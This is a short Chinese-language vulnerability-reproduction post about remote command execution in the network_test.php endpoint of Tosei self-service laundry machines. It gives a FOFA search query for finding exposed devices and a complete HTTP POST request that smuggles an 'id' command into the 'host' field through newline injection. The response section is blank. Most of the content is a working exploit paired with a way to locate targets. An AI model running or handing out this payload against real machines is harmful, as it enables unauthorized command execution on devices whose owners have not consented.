【漏洞复现】Tosei自助洗衣机network_test.php接口存在远程命令执行漏洞

熔城Sec

发布于 2026-07-22 19:46:55

880

漏洞描述

Tosei自助洗衣机network_test.php接口存在远程命令执行漏洞

资产收集

fofa
body="tosei_login_check.php"

发送请求

POST /cgi-bin/login.php/cgi-bin/network_test.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: 
Content-Length: 26
Content-Type: application/x-www-form-urlencoded
host=%0aid%0a&command=ping

返回包